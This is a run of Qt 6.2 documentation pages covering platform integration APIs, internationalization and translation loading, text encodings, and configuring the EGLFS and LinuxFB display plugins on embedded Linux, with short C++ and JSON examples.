 [Qt Creator](https://doc.qt.io/qt-6.2/qtdoc-tutorials-alarms-example.html#qt-creator) is the IDE for Qt development. Qt Creator creates project files, test and debug code, and connects to mobile devices. For Android, Qt Creator can sign and package APK files, ready for publishing to Google Play. [Xcode](http://itunes.apple.com/us/app/xcode/id497799835?ls=1&mt=12) is necessary for development on Apple platforms and Qt Creator can create project files and connect to Apple devices for testing.

 ### Design Tools for Mobile

 Design tools aid UI development by allowing designers to create layouts and animation that can be converted into Qt compatible formats. 2D and 3D assets created from design software can be integrated into Qt applications.

 * [Qt 3D Studio](https://doc.qt.io/qt3dstudio/index.html)
* [Qt Design Studio](https://doc.qt.io/qtdesignstudio/index.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/mobiledevelopment.html>

Platform Integration
====================

 Qt's main strength as a cross-platform toolkit for application development is removing the need for duplicating the application code for each target platform.

 While Qt solves many of the typical tasks of writing an application, there are always corner cases that Qt can not cover, or where it makes more sense to build a feature on top of the platform specific APIs, or another toolkit.

 To support these use-cases, while still allowing Qt to handle the bulk of the application logic, Qt provides a wide range of platform integration APIs, from simple type conversions to platform specific native interfaces.

 Type Conversions
----------------

 Many of Qt's basic data types, such as [QString](qstring), [QPoint](qpoint), or [QImage](qimage), provide conversions to and from the native equivalent types.

 For example, to get the current user's username on Apple platforms:

 
```
NSProcessInfo *processInfo = NSProcessInfo.processInfo;
QString userName = QString::fromNSString(processInfo.userName)
```
 For a complete list of all type conversions, see the [Type Conversions](platform-type-conversions) overview.

 Window Embedding
----------------

 Windows created by the underlying platform APIs may be used as both parent containers for Qt windows, or embedded into Qt windows as child windows.

 The former is useful if the application is mainly written using the native platform APIs, but where parts of the application uses Qt, for example to draw a specialized UI. To embed Qt into the window hierarchy of the native application, use [QWindow::winId](qwindow#winId)() to get the native handle for the Qt window, and then use the native APIs to re-parent the window into the native UI.

 The latter is useful if the native platform, or another toolkit, exposes a specialized control as a native window. By using [QWindow::fromWinId](qwindow#fromWinId)() to wrap the native window handle in a [QWindow](qwindow), the window can then be re-parented into the Qt window hierarchy as any other [QWindow](qwindow). To re-parent this [QWindow](qwindow) into a Qt Widget based UI, use the widgets-specific [QWidget::createWindowContainer](qwidget#createWindowContainer)() function.

 Event Handling
--------------

 Most event handling use-cases in Qt are sufficiently covered by the cross platform event delivery, via [QWindow::event](qwindow#event)() and friends, or through [QObject::installEventFilter](qobject#installEventFilter)().

 In cases where this is not enough, Qt provides access to the delivery of the native events. A global event filter that receives all native events can be installed by using [QCoreApplication::installNativeEventFilter](qcoreapplication#installNativeEventFilter)(), while per-window native events can be handled in [QWindow::nativeEvent](qwindow#nativeEvent)().

  **Note:** Interfering with the native event flow may put Qt in an inconsistent state. These APIs should primarily be used to augment Qt's existing event handling, for example for events Qt doesn't handle yet.

  Native Interfaces
-----------------

 Platform specific functionality not covered by the APIs mentioned above are handled by the more generic [native interface](native-interfaces) mechanism in Qt. The interfaces provide access to native or platform specific APIs of the classes they extend.

 The interfaces live in the [QNativeInterface](qnativeinterface) namespace, and cover use-cases such as accessing underlying native handles, adopting existing native handles, or providing platform specific APIs.

 For example, to access the underlying NSOpenGLContext of an [QOpenGLContext](qopenglcontext) on macOS, via the [QNativeInterface::QCocoaGLContext](qnativeinterface-qcocoaglcontext) native interface:

 
```
using namespace QNativeInterface;
if (auto *cocoaGLContext = glContext->nativeInterface<QCocoaGLContext>())
    [cocoaGLContext->nativeContext() makeCurrentContext];
```
 For a complete list of all native interfaces, see the [Native Interfaces](native-interfaces) overview.

  **Warning:** There are no source or binary compatibility guarantees for the native interface APIs, meaning that an application using these interfaces is only guaranteed to work with the Qt version it was developed against.

  Platform Support
----------------

 In addition to the application developer APIs, Qt also interfaces with the platform when providing the underlying implementations of the cross-platform building blocks in Qt.

 Examples are the event dispatcher abstractions in [Qt Core](qtcore-index) and the rendering hardware abstractions in RHI.

 The main abstraction layer here is the [Qt Platform Abstraction](qpa), or QPA for short, which deals with window system integration and related use-cases.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/platform-integration.html>

Internationalization with Qt
============================

 The *internationalization* and *localization* of an application are the processes of adapting the application to different languages, regional differences and technical requirements of a target market. Internationalization means designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization means adapting internationalized software for a specific region or language by adding locale-specific components (such as date, time, and number formats) and translating text.

 Relevant Qt Classes and APIs
----------------------------

 These classes support internationalizing of Qt applications.

 

|  |  |
| --- | --- |
| [QCollator](qcollator) | Compares strings according to a localized collation algorithm |
| [QCollatorSortKey](qcollatorsortkey) | Can be used to speed up string collation |
| [QLocale](qlocale) | Converts between numbers and their string representations in various languages |
| [QStringConverter](qstringconverter) | Base class for encoding and decoding text |
| [QStringDecoder](qstringdecoder) | State-based decoder for text |
| [QStringEncoder](qstringencoder) | State-based encoder for text |
| [QTextCodec](qtextcodec) | Conversions between text encodings |
| [QTextDecoder](qtextdecoder) | State-based decoder |
| [QTextEncoder](qtextencoder) | State-based encoder |
| [QTranslator](qtranslator) | Internationalization support for text output |

 Languages and Writing Systems
-----------------------------

 In some cases internationalization is simple, for example, making a US application accessible to Australian or British users may require little more than a few spelling corrections. But to make a US application usable by Japanese users, or a Korean application usable by German users, will require that the software operate not only in different languages, but use different input techniques, character encodings and presentation conventions.

 Qt tries to make internationalization as painless as possible for developers. All input controls and text drawing methods in Qt offer built-in support for all supported languages. The built-in font engine is capable of correctly and attractively rendering text that contains characters from a variety of different writing systems at the same time.

 Qt supports most languages in use today, in particular:

 * All East Asian languages (Chinese, Japanese and Korean)
* All Western languages (using Latin script)
* Arabic
* Cyrillic languages (Russian, Ukrainian, etc.)
* Greek
* Hebrew
* Thai and Lao
* All scripts in Unicode 6.2 that do not require special processing
* Bengali
* Burmese (Myanmar)
* Devanagari
* Gujarati
* Gurmukhi
* Kannada
* Khmer
* Malayalam
* Tamil
* Telugu
* Tibetan

 The list above is supported and will work on all platforms as long as the system has fonts to render these writing systems installed.

 On Windows, Linux and Unix with FontConfig (client side font support) the following languages are also supported:

 * Dhivehi (Thaana)
* Syriac
* N'Ko

 On macOS, the following languages are also supported:

 * Oriya
* Sinhala

 Many of these writing systems exhibit special features:

 * **Special line breaking behavior.** Some of the Asian languages are written without spaces between words. Line breaking can occur either after every character (with exceptions) as in Chinese, Japanese and Korean, or after logical word boundaries as in Thai.
* **Bidirectional writing.** Arabic and Hebrew are written from right to left, except for numbers and embedded English text which is written left to right. The exact behavior is defined in the [Unicode Technical Annex #9](https://www.unicode.org/unicode/reports/tr9/).
* **Non-spacing or diacritical marks (accents or umlauts in European languages).** Some languages such as Vietnamese make extensive use of these marks and some characters can have more than one mark at the same time to clarify pronunciation.
* **Ligatures.** In special contexts, some pairs of characters get replaced by a combined glyph forming a ligature. Common examples are the fl and fi ligatures used in typesetting US and European books.

 Qt tries to take care of all the special features listed above. You usually don't have to worry about these features so long as you use Qt's input controls (e.g. [QLineEdit](qlineedit), [QTextEdit](qtextedit), and derived classes or the Quick [TextInput](qml-qtquick-textinput) item) and Qt's display controls (e.g. [QLabel](qlabel) and Qt Quick's Text item).

 Support for these writing systems is transparent to the programmer and completely encapsulated in [Qt's text engine](richtext). This means that you don't usually need to have any knowledge of the writing system used in a particular language, unless you want to write your own text input controls. In some languages, such as Arabic or languages from the Indian subcontinent, the width and shape of a glyph changes depending on the surrounding characters. To take this into account, use [QTextLayout](qtextlayout). Writing input controls also requires some knowledge of the scripts they are going to be used in. Usually, the easiest way is to subclass [QLineEdit](qlineedit) or [QTextEdit](qtextedit).

 For more information about how to internationalize source code, see [Writing Source Code for Translation](i18n-source-translation) and [Internationalization and Localization with Qt Quick](qtquick-internationalization).

 Producing Translations
----------------------

 Qt provides excellent support for translating Qt C++ and Qt Quick applications into local languages. Release managers, translators, and developers can use the Qt translation tools to accomplish their tasks.

 The Qt translation tools, Qt Linguist, `lupdate`, and `lrelease` are installed in the `bin` subdirectory of the base directory Qt is installed into. For more information about using them, see the [Qt Linguist Manual](https://doc.qt.io/qt-6.2/qtlinguist-index.html).

 Qt itself contains several thousands of strings that will also need to be translated into the languages that you are targeting. You will find a number of translation files in the qttranslations repository. Before you start translating Qt, read the wiki page [Translating Qt Into Other Languages](http://wiki.qt.io/Qt_Localization).

 Enabling Translation
--------------------

 Typically, your application's `main()` function will look like this:

 
```
int main(int argc, char *argv[])
{
    QApplication app(argc, argv);

    QTranslator myappTranslator;
    if (myappTranslator.load(QLocale::system(), u"myapp"_qs, u"_"_qs, u":/i18n"_qs))
        app.installTranslator(&myappTranslator);

    return app.exec();
}
```
 For a translation-aware application, a [QTranslator](qtranslator) object is created, then a translation is loaded according to the user's preferred UI display locale at runtime, and finally, the translator object is installed into the application.

 Locating Qt Translations
------------------------

 You can also use [QLibraryInfo::path](qlibraryinfo#path)() to locate the translations for the Qt modules used. You can request the path to the translations at run-time by passing [QLibraryInfo::TranslationsPath](qlibraryinfo#LibraryPath-enum) to this function.

 ### Available Catalogs

 The Qt translation catalogs are located in the `qttranslations` repository.

  **Warning:** Qt translations are contributed by the Qt community, and provided without any guarantees. Translations migh be missing, outdated, or entirely incorrect, up to the point of being malicious. It is recommended that you audit any translations you ship.

  The `qt_` meta catalog contains the still-existing Qt translations that were included in the `qt_` catalog in Qt 4. It was created to make porting applications from Qt 4 to Qt 5 easier. The meta catalog depends on translations that might be absent, because they belong to unnecessary or deprecated modules, which might cause the loading of the translations to fail. If you use modules that are new in Qt 5 or later in your application, you must specify the names of the catalogs for those modules even if you use the meta catalog.

 The following table lists the translation catalogs available for the Qt modules and tools in Qt.

 

| Qt Module or Tool | Catalog |
| --- | --- |
| [Qt Concurrent](qtconcurrent-index) | `qtbase` |
| [Qt Core](qtcore-index) | `qtbase` |
| [Qt D-Bus](qtdbus-index) | `qtbase` |
| [Qt Designer](qtdesigner-manual) | `designer` |
| [Qt GUI](qtgui-index) | `qtbase` |
| [Qt Help](qthelp-index) | `qt_help` |
| [Qt Linguist](https://doc.qt.io/qt-6.2/qtlinguist-index.html) | `linguist` |
| [Qt Network](qtnetwork-index) | `qtbase` |
| [Qt Print Support](qtprintsupport-index) | `qtbase` |
| [Qt QML](qtqml-index) | `qtdeclarative` |
| [Qt Quick](qtquick-index) | `qtdeclarative` |
| [Qt Quick Controls](qtquickcontrols-index) | `qtdeclarative` |
| [Qt Quick Widgets](https://doc.qt.io/qt-6.2/qtquickwidgets-module.html) | `qtdeclarative` |
| [Qt SQL](qtsql-index) | `qtbase` |
| [Qt Widgets](qtwidgets-index) | `qtbase` |

 ### Example: Basic Qt Modules

 For example, to locate translations for basic Qt modules, such as Qt Core, Qt GUI, Qt Network, and Qt Widgets, add the following code to the `main()` function:

 
```
    QTranslator qtTranslator;
    if (qtTranslator.load(QLocale::system(), u"qtbase"_qs, u"_"_qs,
                          QLibraryInfo::path(QLibraryInfo::TranslationsPath))) {
        app.installTranslator(&qtTranslator);
    }
```
 Support for Encodings
---------------------

 As of Qt 6, it is assumed that 8-bit [UTF-8](http://www.ietf.org/rfc/rfc2279.txt) is the predominant encoding.

 [QString::toUtf8](qstring#toUtf8)() returns the text in UTF-8 encoding; this perfectly preserves Unicode information while looking like plain ASCII if the text is wholly ASCII.

 For converting Unicode to local 8-bit encodings, a shortcut is available: the [QString::toLocal8Bit](qstring#toLocal8Bit)() function returns such 8-bit data. On Unix systems this is equivalent to toUtf8(), on Windows the systems current code page is being used.

 For converting the other way, there are the [QString::fromUtf8](qstring#fromUtf8)() and [QString::fromLocal8Bit](qstring#fromLocal8Bit)() convenience functions.

 For [QTextStream](qtextstream), [QTextStream::setEncoding](qtextstream#setEncoding)() can be used to set common encodings.

 Should other legacy encodings be required, the [QTextCodec](qtextcodec) class from the Qt5Compat module can be used.

 When an application starts, the locale of the machine will determine the 8-bit encoding used when dealing with external 8-bit data. [QTextCodec::codecForLocale](qtextcodec#codecForLocale)() returns a codec that can be used to convert between this locale encoding and Unicode.

 The application may occasionally require encodings other than the default local 8-bit encoding. For example, an application in a Cyrillic KOI8-R locale (the de-facto standard locale in Russia) might need to output Cyrillic in the ISO 8859-5 encoding. Code for this would be:

 
```
QString string = ...; // some Unicode text

QTextCodec *codec = QTextCodec::codecForName("ISO 8859-5");
QByteArray encodedString = codec->fromUnicode(string);
```
 For converting the other way, the below code demonstrates the conversion from ISO 8859-5 Cyrillic to Unicode:

 
```
QByteArray encodedString = ...; // some ISO 8859-5 encoded text

QTextCodec *codec = QTextCodec::codecForName("ISO 8859-5");
QString string = codec->toUnicode(encodedString);
```
 For a complete list of supported encodings see the [QTextCodec](qtextcodec) documentation.

 Localizing Numbers, Dates, Times and Currency
---------------------------------------------

 Localization is the process of adapting to local conventions, for example presenting dates and times using the locally preferred formats. For localized numbers, dates, times and currency strings, use the [QLocale](qlocale) class.

 Localizing images is not recommended. Choose clear icons that are appropriate for all localities, rather than relying on local puns or stretched metaphors. The exception is for images of left and right pointing arrows which may need to be reversed for Arabic and Hebrew locales.

 Dynamic Translation
-------------------

 Some applications, such as Qt Linguist, must be able to support changes to the user's language settings while they are still running. To make widgets aware of changes to the installed [QTranslator](qtranslator) objects, reimplement the widget's [changeEvent](qwidget#changeEvent)() function to check whether the event is a [LanguageChange](qevent#Type-enum) event, and update the text displayed by widgets using the [tr](qobject#tr)() function in the usual way. For example:

 
```
void MyWidget::changeEvent(QEvent *event)
{
    if (event->type() == QEvent::LanguageChange) {
        titleLabel->setText(tr("Document Title"));
        ...
        okPushButton->setText(tr("&OK"));
    } else
        QWidget::changeEvent(event);
}
```
 All other change events should be passed on by calling the default implementation of the function.

 The list of installed translators might change in reaction to a [LocaleChange](qevent#Type-enum) event, or the application might provide a user interface that allows the user to change the current application language.

 The default event handler for [QWidget](qwidget) subclasses responds to the [QEvent::LanguageChange](qevent#Type-enum) event, and will call this function when necessary.

 [LanguageChange](qevent#Type-enum) events are posted when a new translation is installed using the [QCoreApplication::installTranslator](qcoreapplication#installTranslator)() function. Additionally, other application components can also force widgets to update themselves by posting LanguageChange events to them.

 System Support
--------------

 Some of the operating systems and windowing systems that Qt runs on only have limited support for Unicode. The level of support available in the underlying system has some influence on the support that Qt can provide on those platforms, although in general Qt applications need not be too concerned with platform-specific limitations.

 ### Unix/X11

 * Locale-oriented fonts and input methods. Qt hides these and provides Unicode input and output.
* Filesystem conventions such as UTF-8 are today used by default in most Unix variants. All Qt file functions allow Unicode, but convert filenames to the local 8-bit encoding, as this is the Unix convention (see QFile::setEncodingFunction() to explore alternative encodings).
* File I/O defaults to the local 8-bit encoding, with Unicode options in [QTextStream](qtextstream).
* Some older Unix distributions contain only partial support for some locales. For example, if you have a `/usr/share/locale/ja_JP.EUC` directory, this does not necessarily mean you can display Japanese text; you also need to have Japanese fonts installed, and the `/usr/share/locale/ja_JP.EUC` directory needs to be complete. For best results, use complete locales from your system vendor.

 ### Linux

 * Qt provides full Unicode support, including input methods, fonts, clipboard, drag-and-drop.
* The file system is usually encoded in UTF-8 on all modern Linux distributions and should not pose a problem. File I/O defaults to UTF-8.

 ### Windows

 * Qt provides full Unicode support, including input methods, fonts, clipboard, drag-and-drop and file names.
* File I/O defaults to Latin1, with Unicode options in [QTextStream](qtextstream). Note that some Windows programs do not understand big-endian Unicode text files even though that is the order prescribed by the Unicode Standard in the absence of higher-level protocols.

 ### macOS

 For details on macOS-specific translation, refer to the Qt for macOS issues document [here](macos-issues#translating-the-application-menu-and-native-dialogs).

 Related Pages
-------------

 

|  |  |
| --- | --- |
| [Overview of the Translation Process](https://doc.qt.io/qt-6.2/linguist-overview.html) |  |
| [Qt Linguist Examples](https://doc.qt.io/qt-6.2/examples-linguist.html) | Using Qt Linguist to internationalize your Qt application |
| [Qt Linguist Manual](https://doc.qt.io/qt-6.2/qtlinguist-index.html) |  |
| [Qt Linguist Manual: Developers](https://doc.qt.io/qt-6.2/linguist-programmers.html) |  |
| [Qt Linguist Manual: Release Manager](https://doc.qt.io/qt-6.2/linguist-manager.html) |  |
| [Qt Linguist Manual: TS File Format](https://doc.qt.io/qt-6.2/linguist-ts-file-format.html) |  |
| [Qt Linguist Manual: Text ID Based Translations](https://doc.qt.io/qt-6.2/linguist-id-based-i18n.html) | Text ID based internationalization provides support for large scale projects with many target locales and many texts to translate |
| [Qt Linguist Manual: Translators](https://doc.qt.io/qt-6.2/linguist-translators.html) |  |
| [Translation Rules for Plurals](i18n-plural-rules) | A summary of the translation rules for plurals produced by Qt's i18n tools. |
| [Writing Source Code for Translation](i18n-source-translation) | How to write source code in a way that makes it possible for user-visible text to be translated. |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/internationalization.html>

Qt for Embedded Linux
=====================

 On Embedded Linux systems, there are multiple platform plugins that you can use: EGLFS, LinuxFB, DirectFB, or Wayland. However, the availability of these plugins depend on how Qt is configured.

 EGLFS is the default plugin on many boards. If it's not suitable, use the `QT_QPA_PLATFORM` environment variable to request another plugin. Alternatively, for quick tests, use the `-platform` command-line argument with the same syntax.

  **Note:** As of Qt 5.0, Qt no longer has its own window system (QWS) implementation. For single-process use cases, the [Qt Platform Abstraction](qpa) is a superior solution; multi-process use cases are supported through [Wayland](qtwaylandcompositor-index).

  See [Configure an Embedded Linux Device](configure-linux-device) for an overview of configuring Qt for cross-compilation using an Embedded Linux toolchain.

 Platform Plugins for Embedded Linux Devices
-------------------------------------------

 ### EGLFS

 [EGL](http://www.khronos.org/egl) is an interface between OpenGL and the native windowing system. Qt can use EGL for context and surface management, however the API contains no platform-specifics. Creating a *native window*, which won't necessarily be an actual window on the screen, must still be done by platform-specific means. This is why we need the board or GPU-specific adaptation code. Typically, these adaptations are provided as:

 * *EGLFS hooks* -- a single source file compiled into the platform plugin
* *EGL device integration* -- dynamically loaded plugins

 EGLFS is a platform plugin for running Qt applications on top of EGL and OpenGL ES 2.0, without an actual windowing system like X11 or Wayland. It is the recommended plugin for modern Embedded Linux devices that include a GPU.

 In addition to Qt Quick and native OpenGL applications, EGLFS supports software-rendered windows, like [QWidget](qwidget), too. For [QWidget](qwidget), the widgets' contents are rendered using the CPU into images, which are then uploaded into textures and composited by the plugin.

 EGLFS forces the first top-level window - either a [QWidget](qwidget) or a [QQuickView](qquickview) - to become fullscreen. This window is also chosen to be the *root* widget window into which all other top-level widgets are composited. For example, dialogs, popup menus, or combo boxes. This behavior is necessary because with EGLFS there is always exactly one native window and one EGL window surface; these belong to the widget or window that is created first. This approach works well when there is a main window that exists for the application's lifetime and all other widgets are either non top-levels or are created afterwards, once the main window is shown.

 There are further restrictions for OpenGL-based windows. EGLFS supports a single single fullscreen GL window (as of Qt 5.3), like OpenGL-based [QWindow](qwindow), a [QQuickView](qquickview), or a [QOpenGLWidget](qopenglwidget). Opening additional OpenGL windows or mixing such windows with [QWidget](qwidget)-based content isn't supported; Qt terminates the application with an error message.

 Furthermore, APIs designed for desktop platforms or environments with a windowing system, such as [Drag and Drop](qtgui-index#drag-and-drop), are not supported on EGLFS.

 If necessary, `eglfs` can be configured using the following environment variables:

 

| Environment Variable | Description |
| --- | --- |
| `QT_QPA_EGLFS_INTEGRATION` | In addition to the compiled-in *hooks*, it is also possible to use dynamically loaded plugins to provide device or vendor-specific adaptation. This environment variable enforces a specific plugin. For example, setting it to *eglfs\_kms* uses the KMS/DRM backend. This is only an option when no static or compiled-in hooks were specified in the device makespecs. In practice, the traditional compiled-in hooks are rarely used, almost all backends are now migrated to plugins. The device makespecs still contain a relevant `EGLFS_DEVICE_INTEGRATION` entry: the name of the preferred backend for that particular device. This is optional, but very useful to avoid the need to set this environment variable if there are more than one plugin present in the target system. In a desktop environment the KMS or X11 backends are prioritized, depending on the presence of the `DISPLAY` environment variable. **Note:** On some boards a special value of `none` is used instead of an actual plugin. This indicates that no special integration is necessary to use EGL with the framebuffer; no plugins must be loaded.  |
| `QT_QPA_EGLFS_PHYSICAL_WIDTH` and `QT_QPA_EGLFS_PHYSICAL_HEIGHT` | Specifies the physical screen's width and height in millimeters. Note that since Qt 6 the physical screen size is no longer used to determine logical dpi. |
| `QT_QPA_EGLFS_ROTATION` | Specifies the rotation applied to software-rendered content in [QWidget](qwidget)-based applications. Supported values are 180, 90, and -90. This variable does not apply to OpenGL-based windows, including Qt Quick. Qt Quick applications can apply transformations in their QML scene instead. The standard `eglfs` mouse cursor always takes the value into account, with an appropriately positioned and rotated pointer image, regardless of the application type. However, special cursor implementations, such as the KMS/DRM backend's hardware cursor, may not support rotation. |
| `QT_QPA_EGLFS_FORCEVSYNC` | When set, `eglfs` requests `FBIO_WAITFORVSYNC` on the framebuffer device after each call to eglSwapBuffers(). This variable is only relevant for backends relying on the legacy Linux `fbdev` subsystem. Normally, with a default swap interval of 1, Qt assumes that calling eglSwapBuffers() takes care of vsync; if it doesn't (for example, due to driver bugs), try setting `QT_QPA_EGLFS_FORCEVSYNC` to a non-zero value. |
| `QT_QPA_EGLFS_FORCE888` | When set, the red, green, and blue color channel sizes are ignored when `eglfs` creates a new context, window or offscreen surface. Instead, the plugin requests a configuration with 8 bits per channel. This can be helpful on devices where configurations with less than 32 or 24 bits per pixel (for example, 5-6-5 or 4-4-4) are chosen by default despite knowing they are not ideal, for example, due to banding effects. Instead of changing application code, this variable provides a shortcut to force 24 or 32 bpp configurations. |

 Additionally, the following less commonly used variables are available:

 

| Environment Variable | Description |
| --- | --- |
| `QT_QPA_EGLFS_FB` | Overrides the framebuffer device. The default is `/dev/fb0`. On most embedded platforms this variable isn't very relevant because the framebuffer is used only to query settings like the display dimensions. However, on certain devices, this variable provides the ability to specify which display to use in multiple display setups, similar to the `fb` parameter in LinuxFB. |
| `QT_QPA_EGLFS_WIDTH` and `QT_QPA_EGLFS_HEIGHT` | Contains the screen's width and height in pixels. While `eglfs` tries to determine the dimensions from the framebuffer device */dev/fb0*, this doesn't always work. It may be necessary to manually specify the sizes. |
| `QT_QPA_EGLFS_DEPTH` | Overrides the color depth for the screen. On platforms where the framebuffer device */dev/fb0* is not available or the query is not successful, a default of `32` is used. Use this variable to override any such defaults. **Note:** This variable only affects the color depth value reported by [QScreen](qscreen). It has no connection to EGL configurations and the color depth used for OpenGL rendering.  |
| `QT_QPA_EGLFS_SWAPINTERVAL` | By default, a swap interval of `1` is requested. This variable enables synchronizing to the display's vertical refresh. Use this variable to override the swap interval's value. For instance, passing 0 disables blocking on swap, resulting in running as fast as possible without any synchronization. |
| `QT_QPA_EGLFS_DEBUG` | When set, some debugging information is printed on the debug output. For example, the input [QSurfaceFormat](qsurfaceformat) and the properties of the chosen EGL configuration are printed while creating a new context. When used together with Qt Quick's `QSG_INFO` variable, you can get useful information for troubleshooting issues related to the EGL configuration. |

 In addition to `QT_QPA_EGLFS_DEBUG`, `eglfs` also supports Qt's modern categorized logging system. The following logging categories are available:

 * `qt.qpa.egldeviceintegration` – Enables logging for dynamically loaded backends. Use this category to check what backend is in use.
* `qt.qpa.input` – Enables debug output both from the `evdev` and `libinput` input handlers. Use this category to check if a given input device was recognized and opened.
* `qt.qpa.eglfs.kms` – Enables verbose logging in the KMS/DRM backend.

 After running `configure`, make sure to inspect its output. This is the easiest, quickest way to identify whether you have the necessary EGLFS backend, libudev, or libinput enabled. In short, if there's an undesired "no" in your `configure` output, run:

 
```
./configure -v
```
 to turn on the verbose output, so that you can see the compiler and linker invocations for each configure test.

  **Note:** If you encounter errors about missing headers, libraries, or seemingly cryptic linker failures, often, they are a sign of an incomplete or broken sysroot and isn't related to Qt.

  As an example, when targeting the Raspberry Pi with the Broadcom proprietary graphics drivers, the output should contain something like the following:

 
```
QPA backends:
EGLFS ................................ yes
EGLFS details:
  EGLFS i.Mx6 ........................ no
  EGLFS i.Mx6 Wayland ................ no
  EGLFS EGLDevice .................... no
  EGLFS GBM .......................... no
  EGLFS Mali ......................... no
  EGLFS Rasberry Pi .................. yes
  EGL on X11 ......................... no
```
 If this is not the case, it's not advisable to proceed further with the build since accelerated graphics won't be functional without the Raspberry Pi-specific backend, even if the rest of Qt compiles successfully.

 ### LinuxFB

 This plugin writes directly to the framebuffer via Linux's fbdev subsystem. Only software-rendered content is supported. Note that on some setups the display performance is expected to be limited.

 However, since fbdev is being deprecated in the Linux kernel, the DRM dumb buffer support is also available, as of Qt 5.9. To use it, set the `QT_QPA_FB_DRM` environment variable to a non-zero value. When set, provided that dumb buffers are supported by your system, legacy framebuffer devices like `/dev/fb0` won't be accessed. Instead, the rendering is set up via the DRM APIs, similar to the `eglfs_kms` backend in EGLFS. The output is double-buffered and page flipped, providing proper vsync for software-rendered content as well.

  **Note:** When dumb buffers are in use, none of the options described below are applicable since properties like physical and logical screen sizes are all queried automatically.

  The `linuxfb` plugin allows you to specify additional settings via the `QT_QPA_PLATFORM` environment variable or `-platform` command-line option. For example, `QT_QPA_PLATFORM=linuxfb:fb=/dev/fb1` specifies that the framebuffer device `/dev/fb1` must be used instead of the default `fb0`. To specify multiple settings, separate the mwith a colon (:).

 

| Settings | Description |
| --- | --- |
| `fb=/dev/fbN` | Specifies the framebuffer devices. On multiple display setups, this setting allows you to run the application on different displays. Currently, there's no way to use multiple framebuffers from one Qt application. |
| `size=`*<width>*`x`*<height>* | Specifies the screen size in pixels. The plugin tries to query the display dimensions, both physical and logical, from the framebuffer device. However, this query may not always lead to proper results; it may be necessary to specify the values explicitly. |
| `mmsize=`*<width>*`x`*<height>* | Specifies the physical width and height in millimeters. |
| `offset=`*<width>*`x`*<height>* | Specifies the top-left corner of the screen offset in pixels. The default position is at `(0, 0)`. |
| `nographicsmodeswitch` | Specifies not to switch the virtual terminal to graphics mode (`KD_GRAPHICS`). Typically, *enabling* graphics mode disables the blinking cursor and screen blanking. However, when this parameter is set, those two features are also skipped. |
| `tty=/dev/ttyN` | Overrides the virtual console. Only used when `nographicsmodeswitch` isn't set. |

 As of Qt 5.9, the behavior of EGLFS and LinuxFB have been synchronized, with regards to the window sizing policy: the first top-level window is forced to cover the entire screen, with both platform plugins. If this is not desired, set the `QT_QPA_FB_FORCE_FULLSCREEN` environment variable to `0` to restore the behavior from earlier Qt versions.

 Display Output
--------------

 When you have multiple displays connected, the level of support to target one or more of these displays from one single Qt application, varies between the platform plugins and often depends on the device and its graphics stack.

 ### EGLFS with the eglfs\_kms Backend

 When the KMS/DRM backend is in use, EGLFS reports all available screens in [QGuiApplication::screens](qguiapplication#screens)(). Applications can target different screens with different windows via [QWindow::setScreen](qwindow#setScreen)().

  **Note:** The restriction of one single fullscreen window per screen still applies. Changing screens after making the [QWindow](qwindow) visible isn't supported either. Therefore, it's essential that embedded applications make all the necessary [QWindow::setScreen](qwindow#setScreen)() calls before calling [QWindow::show](qwindow#show)().

  When you start developing on a given embedded device, often it's necessary to verify the behavior of the device and drivers, and that the connected displays are working as they should. One easy way is to use the **hellowindow** example. Launching it with the `-platform eglfs --multiscreen --timeout` arguments shows a rotating Qt logo on each connected screen for a few seconds.

 The KMS/DRM backend also supports custom configurations via a JSON file. To enable this, set the `QT_QPA_EGLFS_KMS_CONFIG` environment variable to the name of the file. You can also embed this file into the application via the Qt resource system.

 Most of these configuration options apply to all KMS/DRM-based backends, regardless of the buffer management technology (GBM or EGLStreams).

 Here's an example configuration:

 
```
{
  "device": "/dev/dri/card1",
  "hwcursor": false,
  "pbuffers": true,
  "outputs": [
    {
      "name": "VGA1",
      "mode": "off"
    },
    {
      "name": "HDMI1",
      "mode": "1024x768"
    }
  ]
}
```
 Here we configure the specified device so that:

 * It won't use the hardware cursor (falls back to rendering the mouse cursor via OpenGL; by default hardware cursors are enabled as they're more efficient).
* It backs [QOffscreenSurface](qoffscreensurface) with standard EGL pbuffer surfaces (by default this is disabled and a gbm surface is used instead).
* Output on the VGA connector is disabled, while HDMI is active with a resolution of 1024x768.

 Additionally, such a configuration also disables looking for a device via `libudev`; instead the specified device is used.

 When `mode` is not defined, the system's preferred mode is chosen. The accepted values for `mode` are: `off`, `current`, `preferred`, `skip`, width`x`height, width`x`height`@`vrefresh, or a modeline string.

 Specifying `current` chooses a mode with a resolution that matches the current one. Because modesetting is done only when the desired mode is actually different from the active one (unless forced via the `QT_QPA_EGLFS_ALWAYS_SET_MODE` environment variable), this value is useful to preserve the current mode and any content in the planes not touched by Qt.

 `skip` causes the connector for the output to be ignored, as if it were disconnected. `off` is similar, but it changes the mode and turns off the display.

 By default, all screens reported by the DRM layer are treated as one big virtual desktop. The mouse cursor implementation takes this into account and moves across the screens as expected. Although not recommended, you can disable the virtual desktop by setting `separateScreens` to `false` in the configuration.

 By default, the virtual desktop is formed left to right, based on the order of connectors as reported by the system. To change this, set `virtualIndex` to a value starting from 0.

 For example, the following configuration uses the preferred resolution but ensures that the left side in the virtual desktop is the screen connected to the HDMI port; while the right side is the screen connected to the DisplayPort:

 
```
{
  "device": "drm-nvdc",
  "outputs": [
    {
      "name": "HDMI1",
      "virtualIndex": 0
    },
    {
      "name": "DP1",
      "virtualIndex": 1
    }
  ]
}
```
 The order of elements in the array is not relevant. Outputs with unspecified virtual indices are placed after the others, with the original order in the DRM connector list preserved.

 To create a vertical desktop space (that is, to stack top to bottom instead of left to right), add a `virtualDesktopLayout` property after `device` with the value of `vertical`.

  **Warning:** It's recommended that all screens in the virtual desktop use the same resolution, otherwise elements like the mouse cursor may behave in unexpected ways when entering areas that only exist on one given screen.

  When `virtualIndex` is not sufficient, the `virtualPos` property can be used to explicitly specify the top-left position of the screen in question. Taking the previous example and assuming a resolution of 1080p for HDMI1, the following code snippet places a second HDMI-based screen below the first one:

 
```
{
   ...
  "outputs": [
    ...
    {
      "name": "HDMI2",
      "virtualPos": "0, 1080"
    }
  ]
}
```
